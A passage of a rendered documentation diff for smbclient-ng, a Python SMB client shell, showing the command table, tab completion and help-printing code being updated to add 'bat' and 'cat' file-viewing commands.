"─"* (15 - len(command)) +425 if len(self.commands[command]["description"]) == 0: +426 print("│ ■ %s┤ " % command_str) +427 elif len(self.commands[command]["description"]) == 1: +428 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +429 else: +430 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +431 for line in self.commands[command]["description"][1:]: +432 print("│ %s%s " % (" "*(15+2), line)) +433 else: +434 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" +435 if len(self.commands[command]["description"]) == 0: +436 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) +437 elif len(self.commands[command]["description"]) == 1: +438 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +439 else: +440 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +441 for line in self.commands[command]["description"][1:]: +442 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) +443 print("│") +444 +445 def print_help_format(self): +446 """ +447 Prints the help information for the 'format' used in remote 'ls' and 'dir' commands. +448 +449 This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning +450 of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory. +451 """ +452 +453 print("File attributes format:\n") +454 print("\x1b[1mdachnrst\x1b[0m") +455 print("\x1b[90m│││││││└──>\x1b[0m Temporary") +456 print("\x1b[90m││││││└───>\x1b[0m System") +457 print("\x1b[90m│││││└────>\x1b[0m Read-Only") +458 print("\x1b[90m││││└─────>\x1b[0m Normal") +459 print("\x1b[90m│││└──────>\x1b[0m Hidden") +460 print("\x1b[90m││└───────>\x1b[0m Compressed") +461 print("\x1b[90m│└────────>\x1b[0m Archived") +462 print("\x1b[90m└─────────>\x1b[0m Directory") @@ -558,426 +572,440 @@

27 """ 28 29 commands = { - 30 "cd": { + 30 "bat": { 31 "description": [ - 32 "Change the current working directory.", - 33 "Syntax: 'cd <directory>'" + 32 "Pretty prints the contents of a file.", + 33 "Syntax: 'bat <file>'" 34 ], 35 "subcommands": [] 36 }, - 37 "close": { + 37 "cat": { 38 "description": [ - 39 "Closes the SMB connection to the remote machine.", - 40 "Syntax: 'close'" + 39 "Get the contents of a file.", + 40 "Syntax: 'cat <file>'" 41 ], 42 "subcommands": [] 43 }, - 44 "connect": { + 44 "cd": { 45 "description": [ - 46 "Connect to the remote machine (useful if connection timed out).", - 47 "Syntax: 'connect'" + 46 "Change the current working directory.", + 47 "Syntax: 'cd <directory>'" 48 ], 49 "subcommands": [] 50 }, - 51 "dir": { + 51 "close": { 52 "description": [ - 53 "List the contents of the current working directory.", - 54 "Syntax: 'dir'" + 53 "Closes the SMB connection to the remote machine.", + 54 "Syntax: 'close'" 55 ], 56 "subcommands": [] 57 }, - 58 "exit": { + 58 "connect": { 59 "description": [ - 60 "Exits the smbclient-ng script.", - 61 "Syntax: 'exit'" + 60 "Connect to the remote machine (useful if connection timed out).", + 61 "Syntax: 'connect'" 62 ], 63 "subcommands": [] 64 }, - 65 "get": { + 65 "dir": { 66 "description": [ - 67 "Get a remote file.", - 68 "Syntax: 'get [-r] <directory or file>'" + 67 "List the contents of the current working directory.", + 68 "Syntax: 'dir'" 69 ], 70 "subcommands": [] 71 }, - 72 "help": { + 72 "exit": { 73 "description": [ - 74 "Displays this help message.", - 75 "Syntax: 'help'" + 74 "Exits the smbclient-ng script.", + 75 "Syntax: 'exit'" 76 ], - 77 "subcommands": ["format"] + 77 "subcommands": [] 78 }, - 79 "info": { + 79 "get": { 80 "description": [ - 81 "Get information about the server and or the share.", - 82 "Syntax: 'info [server|share]'" + 81 "Get a remote file.", + 82 "Syntax: 'get [-r] <directory or file>'" 83 ], - 84 "subcommands": ["server", "share"] + 84 "subcommands": [] 85 }, - 86 "lcd": { + 86 "help": { 87 "description": [ - 88 "Changes the current local directory.", - 89 "Syntax: 'lcd <directory>'" + 88 "Displays this help message.", + 89 "Syntax: 'help'" 90 ], - 91 "subcommands": [] + 91 "subcommands": ["format"] 92 }, - 93 "lls": { + 93 "info": { 94 "description": [ - 95 "Lists the contents of the current local directory.", - 96 "Syntax: 'lls'" - 97 ], - 98 "subcommands": [] + 95 "Get information about the server and or the share.", + 96 "Syntax: 'info [server|share]'" + 97 ], + 98 "subcommands": ["server", "share"] 99 }, -100 "lmkdir": { +100 "lcd": { 101 "description": [ -102 "Creates a new local directory.", -103 "Syntax: 'lmkdir <directory>'" -104 ], +102 "Changes the current local directory.", +103 "Syntax: 'lcd <directory>'" +104 ], 105 "subcommands": [] 106 }, -107 "lpwd": { +107 "lls": { 108 "description": [ -109 "Shows the current local directory.", -110 "Syntax: 'lpwd'" +109 "Lists the contents of the current local directory.", +110 "Syntax: 'lls'" 111 ], 112 "subcommands": [] 113 }, -114 "lrm": { +114 "lmkdir": { 115 "description": [ -116 "Removes a local file.", -117 "Syntax: 'lrm <file>'" -118 ], +116 "Creates a new local directory.", +117 "Syntax: 'lmkdir <directory>'" +118 ], 119 "subcommands": [] 120 }, -121 "lrmdir": { +121 "lpwd": { 122 "description": [ -123 "Removes a local directory.", -124 "Syntax: 'lrmdir <directory>'" -125 ], +123 "Shows the current local directory.", +124 "Syntax: 'lpwd'" +125 ], 126 "subcommands": [] 127 }, -128 "ls": { +128 "lrm": { 129 "description": [ -130 "List the contents of the current remote working directory.", -131 "Syntax: 'ls'" +130 "Removes a local file.", +131 "Syntax: 'lrm <file>'" 132 ], 133 "subcommands": [] 134 }, -135 "ltree": { +135 "lrmdir": { 136 "description": [ -137 "Displays a tree view of the local directories.", -138 "Syntax: 'ltree [directory]'" +137 "Removes a local directory.", +138 "Syntax: 'lrmdir <directory>'" 139 ], 140 "subcommands": [] 141 }, -142 "mkdir": { +142 "ls": { 143 "description": [ -144 "Creates a new remote directory.", -145 "Syntax: 'mkdir <directory>'" +144 "List the contents of the current remote working directory.", +145 "Syntax: 'ls'" 146 ], 147 "subcommands": [] 148 }, -149 "module": { +149 "ltree": { 150 "description": [ -151 "Loads a specific module for additional functionalities.", -152 "Syntax: 'module <name>'" +151 "Displays a tree view of the local directories.", +152 "Syntax: 'ltree [directory]'" 153 ], 154 "subcommands": [] 155 }, -156 "put": { +156 "mkdir": { 157 "description": [ -158 "Put a local file or directory in a remote directory.", -159 "Syntax: 'put [-r] <directory or file>'" +158 "Creates a new remote directory.", +159 "Syntax: 'mkdir <directory>'" 160 ], 161 "subcommands": [] 162 }, -163 "reconnect": { +163 "module": { 164 "description": [ -165 "Reconnect to the remote machine (useful if connection timed out).", -166 "Syntax: 'reconnect'" +165 "Loads a specific module for additional functionalities.", +166 "Syntax: 'module <name>'" 167 ], 168 "subcommands": [] 169 }, -170 "reset": { +170 "put": { 171 "description": [ -172 "Reset the TTY output, useful if it was broken after printing a binary file on stdout.", -173 "Syntax: 'reset'" +172 "Put a local file or directory in a remote directory.", +173 "Syntax: 'put [-r] <directory or file>'" 174 ], 175 "subcommands": [] 176 }, -177 "rmdir": { +177 "reconnect": { 178 "description": [ -179 "Removes a remote directory.", -180 "Syntax: 'rmdir <directory>'" +179 "Reconnect to the remote machine (useful if connection timed out).", +180 "Syntax: 'reconnect'" 181 ], 182 "subcommands": [] 183 }, -184 "rm": { +184 "reset": { 185 "description": [ -186 "Removes a remote file.", -187 "Syntax: 'rm <file>'" +186 "Reset the TTY output, useful if it was broken after printing a binary file on stdout.", +187 "Syntax: 'reset'" 188 ], 189 "subcommands": [] 190 }, -191 "shares": { +191 "rmdir": { 192 "description": [ -193 "Lists the SMB shares served by the remote machine.", -194 "Syntax: 'shares'" +193 "Removes a remote directory.", +194 "Syntax: 'rmdir <directory>'" 195 ], 196 "subcommands": [] 197 }, -198 "use": { +198 "rm": { 199 "description": [ -200 "Use a SMB share.", -201 "Syntax: 'use <sharename>'" +200 "Removes a remote file.", +201 "Syntax: 'rm <file>'" 202 ], 203 "subcommands": [] 204 }, -205 "tree": { +205 "shares": { 206 "description": [ -207 "Displays a tree view of the remote directories.", -208 "Syntax: 'tree [directory]'" +207 "Lists the SMB shares served by the remote machine.", +208 "Syntax: 'shares'" 209 ], 210 "subcommands": [] 211 }, -212 } -213 -214 def __init__(self, smbSession, config): -215 # Objects -216 self.smbSession = smbSession -217 self.config = config -218 # Pre computing for some commands -219 self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys()) -220 self.commands["help"]["subcommands"].remove("help") -221 -222 def complete(self, text, state): -223 """ -224 Function to handle command completion in the LDAP console. -225 -226 This function completes the user"s input based on the available options for commands in the LDAP console. +212 "use": { +213 "description": [ +214 "Use a SMB share.", +215 "Syntax: 'use <sharename>'" +216 ], +217 "subcommands": [] +218 }, +219 "tree": { +220 "description": [ +221 "Displays a tree view of the remote directories.", +222 "Syntax: 'tree [directory]'" +223 ], +224 "subcommands": [] +225 }, +226 } 227 -228 Args: -229 text (str): The current text input by the user. -230 state (int): The current state of completion. -231 -232 Returns: -233 str: The next completion suggestion based on the user"s input state. -234 """ +228 def __init__(self, smbSession, config): +229 # Objects +230 self.smbSession = smbSession +231 self.config = config +232 # Pre computing for some commands +233 self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys()) +234 self.commands["help"]["subcommands"].remove("help") 235 -236 if state == 0: -237 -238 # No text typed yet, need the list of commands available -239 if len(text) == 0: -240 self.matches = [s for s in self.commands.keys()] +236 def complete(self, text, state): +237 """ +238 Function to handle command completion in the LDAP console. +239 +240 This function completes the user"s input based on the available options for commands in the LDAP console. 241 -242 elif len(text) != 0: -243 # This is for the main command -244 if text.count(" ") == 0: -245 self.matches = [s for s in self.commands.keys() if s and s.startswith(text)] -246 -247 # This is for subcommands -248 elif text.count(" ") >= 1: -249 command, remainder = text.split(" ", 1) -250 if command in self.commands.keys(): -251 if command == "use": -252 # Choose SMB Share to connect to -253 self.matches = [ -254 command + " " + s.lower() -255 for s in self.smbSession.list_shares().keys() -256 if s.lower().startswith(remainder.lower()) -257 ] -258 -259 elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]: -260 # Choose remote directory -261 path = "" -262 if '\\' in remainder.strip() or '/' in remainder.strip(): -263 path = remainder.strip().replace('/', ntpath.sep) -264 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) -265 -266 directory_contents = self.smbSession.list_contents(path=path).items() -267 -268 matching_entries = [] -269 for _, entry in directory_contents: -270 if entry.is_directory() and entry.get_longname() not in [".",".."]: -271 if len(path) != 0: -272 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) -273 else: -274 matching_entries.append(entry.get_longname() + ntpath.sep) -275 -276 self.matches = [ -277 command + " " + s -278 for s in matching_entries -279 if s.lower().startswith(remainder.lower()) -280 ] +242 Args: +243 text (str): The current text input by the user. +244 state (int): The current state of completion. +245 +246 Returns: +247 str: The next completion suggestion based on the user"s input state. +248 """ +249 +250 if state == 0: +251 +252 # No text typed yet, need the list of commands available +253 if len(text) == 0: +254 self.matches = [s for s in self.commands.keys()] +255 +256 elif len(text) != 0: +257 # This is for the main command +258 if text.count(" ") == 0: +259 self.matches = [s for s in self.commands.keys() if s and s.startswith(text)] +260 +261 # This is for subcommands +262 elif text.count(" ") >= 1: +263 command, remainder = text.split(" ", 1) +264 if command in self.commands.keys(): +265 if command == "use": +266 # Choose SMB Share to connect to +267 self.matches = [ +268 command + " " + s.lower() +269 for s in self.smbSession.list_shares().keys() +270 if s.lower().startswith(remainder.lower()) +271 ] +272 +273 elif command in ["cd", "dir", "ls", "mkdir", "rmdir", "tree"]: +274 # Choose remote directory +275 path = "" +276 if '\\' in remainder.strip() or '/' in remainder.strip(): +277 path = remainder.strip().replace('/', ntpath.sep) +278 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) +279 +280 directory_contents = self.smbSession.list_contents(path=path).items() 281 -282 elif command in ["get", "rm"]: -283 # Choose local files and directories -284 path = "" -285 if '\\' in remainder.strip() or '/' in remainder.strip(): -286 path = remainder.strip().replace('/', ntpath.sep) -287 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) -288 -289 directory_contents = self.smbSession.list_contents(path=path).items() -290 -291 matching_entries = [] -292 for _, entry in directory_contents: -293 if entry.get_longname() not in [".",".."]: -294 if len(path) != 0: -295 if entry.is_directory(): -296 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) -297 else: -298 matching_entries.append(path + ntpath.sep + entry.get_longname()) -299 else: -300 if entry.is_directory(): -301 matching_entries.append(entry.get_longname() + ntpath.sep) -302 else: -303 matching_entries.append(entry.get_longname()) +282 matching_entries = [] +283 for _, entry in directory_contents: +284 if entry.is_directory() and entry.get_longname() not in [".",".."]: +285 if len(path) != 0: +286 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) +287 else: +288 matching_entries.append(entry.get_longname() + ntpath.sep) +289 +290 self.matches = [ +291 command + " " + s +292 for s in matching_entries +293 if s.lower().startswith(remainder.lower()) +294 ] +295 +296 elif command in ["bat", "cat", "get", "rm"]: +297 # Choose local files and directories +298 path = "" +299 if '\\' in remainder.strip() or '/' in remainder.strip(): +300 path = remainder.strip().replace('/', ntpath.sep) +301 path = ntpath.sep.join(path.split(ntpath.sep)[:-1]) +302 +303 directory_contents = self.smbSession.list_contents(path=path).items() 304 -305 self.matches = [ -306 command + " " + s -307 for s in matching_entries -308 if s.lower().startswith(remainder.lower()) -309 ] -310 -311 elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]: -312 # Choose directory -313 path = "" -314 if os.path.sep in remainder.strip(): -315 path = path.split(os.path.sep)[:-1] -316 path = os.path.sep.join(path) -317 -318 # Current dir -319 if len(path.strip()) == 0: -320 path = "." -321 -322 directory_contents = os.listdir(path=path + os.path.sep) -323 matching_entries = [] -324 for entry in directory_contents: -325 if entry not in [".",".."]: -326 entry_path = path + os.path.sep + entry -327 if os.path.isdir(entry_path): -328 matching_entries.append(entry_path + os.path.sep) -329 else: -330 matching_entries.append(entry_path) -331 -332 self.matches = [ -333 command + " " + s -334 for s in matching_entries -335 if s.startswith(remainder) -336 ] -337 -338 else: -339 # Generic case for subcommands -340 self.matches = [ -341 command + " " + s -342 for s in self.commands[command]["subcommands"] -343 if s.startswith(remainder) -344 ] -345 else: -346 # Unknown subcommand, skipping autocomplete -347 pass -348 else: -349 self.matches = [] -350 else: -351 self.matches = self.commands.keys()[:] -352 -353 try: -354 return self.matches[state] + " " -355 except IndexError: -356 return None -357 -358 def print_help(self, command=None): -359 """ -360 Prints help information for a specific command or all commands if no command is specified. -361 -362 This method displays the help information for the command passed as an argument. If no command is specified, -363 it prints the help information for all available commands. The help information includes the command syntax, -364 description, and any subcommands associated with it. This method is designed to provide users with the necessary -365 guidance on how to use the commands in the smbclient-ng shell. +305 matching_entries = [] +306 for _, entry in directory_contents: +307 if entry.get_longname() not in [".",".."]: +308 if len(path) != 0: +309 if entry.is_directory(): +310 matching_entries.append(path + ntpath.sep + entry.get_longname() + ntpath.sep) +311 else: +312 matching_entries.append(path + ntpath.sep + entry.get_longname()) +313 else: +314 if entry.is_directory(): +315 matching_entries.append(entry.get_longname() + ntpath.sep) +316 else: +317 matching_entries.append(entry.get_longname()) +318 +319 self.matches = [ +320 command + " " + s +321 for s in matching_entries +322 if s.lower().startswith(remainder.lower()) +323 ] +324 +325 elif command in ["lcd", "lls", "put", "lmkdir", "lrm", "lrmdir"]: +326 # Choose directory +327 path = "" +328 if os.path.sep in remainder.strip(): +329 path = path.split(os.path.sep)[:-1] +330 path = os.path.sep.join(path) +331 +332 # Current dir +333 if len(path.strip()) == 0: +334 path = "." +335 +336 directory_contents = os.listdir(path=path + os.path.sep) +337 matching_entries = [] +338 for entry in directory_contents: +339 if entry not in [".",".."]: +340 entry_path = path + os.path.sep + entry +341 if os.path.isdir(entry_path): +342 matching_entries.append(entry_path + os.path.sep) +343 else: +344 matching_entries.append(entry_path) +345 +346 self.matches = [ +347 command + " " + s +348 for s in matching_entries +349 if s.startswith(remainder) +350 ] +351 +352 else: +353 # Generic case for subcommands +354 self.matches = [ +355 command + " " + s +356 for s in self.commands[command]["subcommands"] +357 if s.startswith(remainder) +358 ] +359 else: +360 # Unknown subcommand, skipping autocomplete +361 pass +362 else: +363 self.matches = [] +364 else: +365 self.matches = self.commands.keys()[:] 366 -367 Args: -368 command (str, optional): The command to display help information for. If None, help for all commands is displayed. -369 -370 Returns: -371 None -372 """ -373 -374 if command is not None: -375 if command not in list(self.commands.keys())+["format"]: -376 command = None -377 -378 # Print help for a specific command -379 if command is not None: -380 if command == "format": -381 self.print_help_format() -382 else: -383 print("│") -384 if self.config.no_colors: -385 command_str = command + "─"* (15 - len(command)) -386 if len(self.commands[command]["description"]) == 0: -387 print("│ ■ %s┤ " % command_str) -388 elif len(self.commands[command]["description"]) == 1: -389 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -390 else: -391 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -392 for line in self.commands[command]["description"][1:]: -393 print("│ %s%s " % (" "*(15+3), line)) -394 else: -395 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" -396 if len(self.commands[command]["description"]) == 0: -397 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) -398 elif len(self.commands[command]["description"]) == 1: -399 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -400 else: -401 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -402 for line in self.commands[command]["description"][1:]: -403 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+2), line)) -404 print("│") -405 # Generic help -406 else: -407 print("│") -408 commands = sorted(self.commands.keys()) -409 for command in commands: -410 if self.config.no_colors: -411 command_str = command + "─"* (15 - len(command)) -412 if len(self.commands[command]["description"]) == 0: -413 print("│ ■ %s┤ " % command_str) -414 elif len(self.commands[command]["description"]) == 1: -415 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -416 else: -417 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) -418 for line in self.commands[command]["description"][1:]: -419 print("│ %s%s " % (" "*(15+2), line)) -420 else: -421 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" -422 if len(self.commands[command]["description"]) == 0: -423 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) -424 elif len(self.commands[command]["description"]) == 1: -425 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -426 else: -427 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) -428 for line in self.commands[command]["description"][1:]: -429 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) -430 print("│") -431 -432 def print_help_format(self): -433 """ -434 Prints the help information for the 'format' used in remote 'ls' and 'dir' commands. -435 -436 This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning -437 of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory. -438 """ -439 -440 print("File attributes format:\n") -441 print("\x1b[1mdachnrst\x1b[0m") -442 print("\x1b[90m│││││││└──>\x1b[0m Temporary") -443 print("\x1b[90m││││││└───>\x1b[0m System") -444 print("\x1b[90m│││││└────>\x1b[0m Read-Only") -445 print("\x1b[90m││││└─────>\x1b[0m Normal") -446 print("\x1b[90m│││└──────>\x1b[0m Hidden") -447 print("\x1b[90m││└───────>\x1b[0m Compressed") -448 print("\x1b[90m│└────────>\x1b[0m Archived") -449 print("\x1b[90m└─────────>\x1b[0m Directory") +367 try: +368 return self.matches[state] + " " +369 except IndexError: +370 return None +371 +372 def print_help(self, command=None): +373 """ +374 Prints help information for a specific command or all commands if no command is specified. +375 +376 This method displays the help information for the command passed as an argument. If no command is specified, +377 it prints the help information for all available commands. The help information includes the command syntax, +378 description, and any subcommands associated with it. This method is designed to provide users with the necessary +379 guidance on how to use the commands in the smbclient-ng shell. +380 +381 Args: +382 command (str, optional): The command to display help information for. If None, help for all commands is displayed. +383 +384 Returns: +385 None +386 """ +387 +388 if command is not None: +389 if command not in list(self.commands.keys())+["format"]: +390 command = None +391 +392 # Print help for a specific command +393 if command is not None: +394 if command == "format": +395 self.print_help_format() +396 else: +397 print("│") +398 if self.config.no_colors: +399 command_str = command + "─"* (15 - len(command)) +400 if len(self.commands[command]["description"]) == 0: +401 print("│ ■ %s┤ " % command_str) +402 elif len(self.commands[command]["description"]) == 1: +403 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +404 else: +405 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +406 for line in self.commands[command]["description"][1:]: +407 print("│ %s%s " % (" "*(15+2), line)) +408 else: +409 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" +410 if len(self.commands[command]["description"]) == 0: +411 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) +412 elif len(self.commands[command]["description"]) == 1: +413 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +414 else: +415 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +416 for line in self.commands[command]["description"][1:]: +417 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) +418 print("│") +419 # Generic help +420 else: +421 print("│") +422 commands = sorted(self.commands.keys()) +423 for command in commands: +424 if self.config.no_colors: +425 command_str = command + "─"* (15 - len(command)) +426 if len(self.commands[command]["description"]) == 0: +427 print("│ ■ %s┤ " % command_str) +428 elif len(self.commands[command]["description"]) == 1: +429 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +430 else: +431 print("│ ■ %s%s " % (command_str, self.commands[command]["description"][0])) +432 for line in self.commands[command]["description"][1:]: +433 print("│ %s%s " % (" "*(15+2), line)) +434 else: +435 command_str = command + " \x1b[90m" + "─"* (15 - len(command)) + "\x1b[0m" +436 if len(self.commands[command]["description"]) == 0: +437 print("│ ■ %s\x1b[90m┤\x1b[0m " % command_str) +438 elif len(self.commands[command]["description"]) == 1: +439 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +440 else: +441 print("│ ■ %s\x1b[90m┤\x1b[0m %s " % (command_str, self.commands[command]["description"][0])) +442 for line in self.commands[command]["description"][1:]: +443 print("│ %s\x1b[90m│\x1b[0m %s " % (" "*(15+3), line)) +444 print("│") +445 +446 def print_help_format(self): +447 """ +448 Prints the help information for the 'format' used in remote 'ls' and 'dir' commands. +449 +450 This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning +451 of each character in the file attribute string, such as whether a file is read-only, hidden, or a directory. +452 """ +453 +454 print("File attributes format:\n") +455 print("\x1b[1mdachnrst\x1b[0m") +456 print("\x1b[90m│││││││└──>\x1b[0m Temporary") +457 print("\x1b[90m││││││└───>\x1b[0m System") +458 print("\x1b[90m│││││└────>\x1b[0m Read-Only") +459 print("\x1b[90m││││└─────>\x1b[0m Normal") +460 print("\x1b[90m│││└──────>\x1b[0m Hidden") +461 print("\x1b[90m││└───────>\x1b[0m Compressed") +462 print("\x1b[90m│└────────>\x1b[0m Archived") +463 print("\x1b[90m└─────────>\x1b[0m Directory") @@ -1006,13 +1034,13 @@

-
214    def __init__(self, smbSession, config):
-215        # Objects
-216        self.smbSession = smbSession
-217        self.config = config
-218        # Pre computing for some commands 
-219        self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys())
-220        self.commands["help"]["subcommands"].remove("help")
+            
228    def __init__(self, smbSession, config):
+229        # Objects
+230        self.smbSession = smbSession
+231        self.config = config
+232        # Pre computing for some commands 
+233        self.commands["help"]["subcommands"] = ["format"] + list(self.commands.keys())
+234        self.commands["help"]["subcommands"].remove("help")
 
@@ -1023,7 +1051,7 @@

commands = - {'cd': {'description': ['Change the current working directory.', "Syntax: 'cd <directory>'"], 'subcommands': []}, 'close': {'description': ['Closes the SMB connection to the remote machine.', "Syntax: 'close'"], 'subcommands': []}, 'connect': {'description': ['Connect to the remote machine (useful if connection timed out).', "Syntax: 'connect'"], 'subcommands': []}, 'dir': {'description': ['List the contents of the current working directory.', "Syntax: 'dir'"], 'subcommands': []}, 'exit': {'description': ['Exits the smbclient-ng script.', "Syntax: 'exit'"], 'subcommands': []}, 'get': {'description': ['Get a remote file.', "Syntax: 'get [-r] <directory or file>'"], 'subcommands': []}, 'help': {'description': ['Displays this help message.', "Syntax: 'help'"], 'subcommands': ['format']}, 'info': {'description': ['Get information about the server and or the share.', "Syntax: 'info [server|share]'"], 'subcommands': ['server', 'share']}, 'lcd': {'description': ['Changes the current local directory.', "Syntax: 'lcd <directory>'"], 'subcommands': []}, 'lls': {'description': ['Lists the contents of the current local directory.', "Syntax: 'lls'"], 'subcommands': []}, 'lmkdir': {'description': ['Creates a new local directory.', "Syntax: 'lmkdir <directory>'"], 'subcommands': []}, 'lpwd': {'description': ['Shows the current local directory.', "Syntax: 'lpwd'"], 'subcommands': []}, 'lrm': {'description': ['Removes a local file.', "Syntax: 'lrm <file>'"], 'subcommands': []}, 'lrmdir': {'description': ['Removes a local directory.', "Syntax: 'lrmdir <directory>'"], 'subcommands': []}, 'ls': {'description': ['List the contents of the current remote working directory.', "Syntax: 'ls'"], 'subcommands': []}, 'ltree': {'description': ['Displays a tree view of the local directories.', "Syntax: 'ltree [directory]'"], 'subcommands': []}, 'mkdir': {'description': ['Creates a new remote directory.', "Syntax: 'mkdir <directory>'"], 'subcommands': []}, 'module': {'description': ['Loads a specific module for additional functionalities.', "Syntax: 'module <name>'"], 'subcommands': []}, 'put': {'description': ['Put a local file or directory in a remote directory.', "Syntax: 'put [-r] <directory or file>'"], 'subcommands': []}, 'reconnect': {'description': ['Reconnect to the remote machine (useful if connection timed out).', "Syntax: 'reconnect'"], 'subcommands': []}, 'reset': {'description': ['Reset the TTY output, useful if it was broken after printing a binary file on stdout.', "Syntax: 'reset'"], 'subcommands': []}, 'rmdir': {'description': ['Removes a remote directory.', "Syntax: 'rmdir <directory>'"], 'subcommands': []}, 'rm': {'description': ['Removes a remote file.', "Syntax: 'rm <file>'"], 'subcommands': []}, 'shares': {'description': ['Lists the SMB shares served by the remote machine.', "Syntax: 'shares'"], 'subcommands': []}, 'use': {'description': ['Use a SMB share.', "Syntax: 'use <sharename>'"], 'subcommands': []}, 'tree': {'description': ['Displays a tree view of the remote directories.', "Syntax: 'tree [directory]'"], 'subcommands': []}} + {'bat': {'description': ['Pretty prints the contents of a file.', "Syntax: 'bat <file>'"], 'subcommands': []}, 'cat': {'description': ['Get the contents of a file.', "Syntax: 'cat <file>'"], 'subcommands': []}, 'cd': {'description': ['Change the current working directory.', "Syntax: 'cd <directory>'"], 'subcommands': []}, 'close': {'description': ['Closes the SMB connection to the remote machine.', "Syntax: 'close'"], 'subcommands': []}, 'connect': {'description': ['Connect to the remote machine (useful if connection timed out).', "Syntax: 'connect'"], 'subcommands': []}, 'dir': {'description': ['List the contents of the current working directory.', "Syntax: 'dir'"], 'subcommands': []}, 'exit': {'description': ['Exits the smbclient-ng script.', "Syntax: 'exit'"], 'subcommands': []}, 'get': {'description': ['Get a remote file.', "Syntax: 'get [-r] <directory or file>'"], 'subcommands': []}, 'help': {'description': ['Displays this help message.', "Syntax: 'help'"], 'subcommands': ['format']}, 'info': {'description': ['Get information about the server and or the share.', "Syntax: 'info [server|share]'"], 'subcommands': ['server', 'share']}, 'lcd': {'description': ['Changes the current local directory.', "Syntax: 'lcd <directory>'"], 'subcommands': []}, 'lls': {'description': ['Lists the contents of the current local directory.', "Syntax: 'lls'"], 'subcommands': []}, 'lmkdir': {'description': ['Creates a new local directory.', "Syntax: 'lmkdir <directory>'"], 'subcommands': []}, 'lpwd': {'description': ['Shows the current local directory.', "Syntax: 'lpwd'"], 'subcommands': []}, 'lrm': {'description': ['Removes a local file.', "Syntax: 'lrm <file>'"], 'subcommands': []}, 'lrmdir': {'description': ['Removes a local directory.', "Syntax: 'lrmdir <directory>'"], 'subcommands': []}, 'ls': {'description': ['List the contents of the current remote working directory.', "Syntax: 'ls'"], 'subcommands': []}, 'ltree': {'description': ['Displays a tree view of the local directories.', "Syntax: 'ltree [directory]'"], 'subcommands': []}, 'mkdir': {'description': ['Creates a new remote directory.', "Syntax: 'mkdir <directory>'"], 'subcommands': []}, 'module': {'description': ['Loads a specific module for additional functionalities.', "Syntax: 'module <name>'"], 'subcommands': []}, 'put': {'description': ['Put a local file or directory in a remote directory.', "Syntax: 'put [-r] <directory or file>'"], 'subcommands': []}, 'reconnect': {'description': ['Reconnect to the remote machine (useful if connection timed out).', "Syntax: 'reconnect'"], 'subcommands': []}, 'reset': {'description': ['Reset the TTY output, useful if it was broken after printing a binary file on stdout.', "Syntax: 'reset'"], 'subcommands': []}, 'rmdir': {'description': ['Removes a remote directory.', "Syntax: 'rmdir <directory>'"], 'subcommands': []}, 'rm': {'description': ['Removes a remote file.', "Syntax: 'rm <file>'"], 'subcommands': []}, 'shares': {'description': ['Lists the SMB shares served by the remote machine.', "Syntax: 'shares'"], 'subcommands': []}, 'use': {'description': ['Use a SMB share.', "Syntax: 'use <sharename>'"], 'subcommands': []}, 'tree': {'description': ['Displays a tree view of the remote directories.', "Syntax: 'tree [directory]'"], 'subcommands': []}}
@@ -1065,141 +1093,141 @@

-
222    def complete(self, text, state):
-223        """
-224        Function to handle command completion in the LDAP console.
-225
-226        This function completes the user"s input based on the available options for commands in the LDAP console.
-227
-228        Args:
-229            text (str): The current text input by the user.
-230            state (int): The current state of completion.
-231
-232        Returns:
-233            str: The next completion suggestion based on the user"s input state.
-234        """
-235
-236        if state == 0:
-237            
-238            # No text typed yet, need the list of commands available
-239            if len(text) == 0:
-240                self.matches = [s for s in self.commands.keys()]
